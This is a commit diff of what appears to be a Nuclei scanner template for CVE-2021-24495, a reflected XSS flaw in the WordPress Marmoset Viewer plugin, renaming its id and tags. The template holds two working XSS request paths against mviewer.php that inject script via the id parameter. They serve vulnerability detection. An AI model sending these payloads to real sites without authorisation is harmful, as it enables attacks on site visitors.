Template Name/ID update as per assigned CVE

patch-1
sandeep 2021-07-06 12:07:53 +05:30
parent fd13654972
commit fc68a95803
1 changed files with 4 additions and 3 deletions

View File

@ -1,10 +1,10 @@
id: wp-plugin-marmoset-viewer-xss
id: CVE-2021-24495
info:
name: Wordpress Plugin Marmoset Viewer XSS [CVE-2021-24495]
name: Wordpress Plugin Marmoset Viewer XSS
author: johnjhacking
severity: medium
tags: wordpress,xss
tags: cve,cve2021,wp-plugin,wordpress,xss
reference: https://wordpress.org/plugins/marmoset-viewer/#developers
requests:
@ -12,6 +12,7 @@ requests:
path:
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"
matchers-condition: and
matchers:
- type: status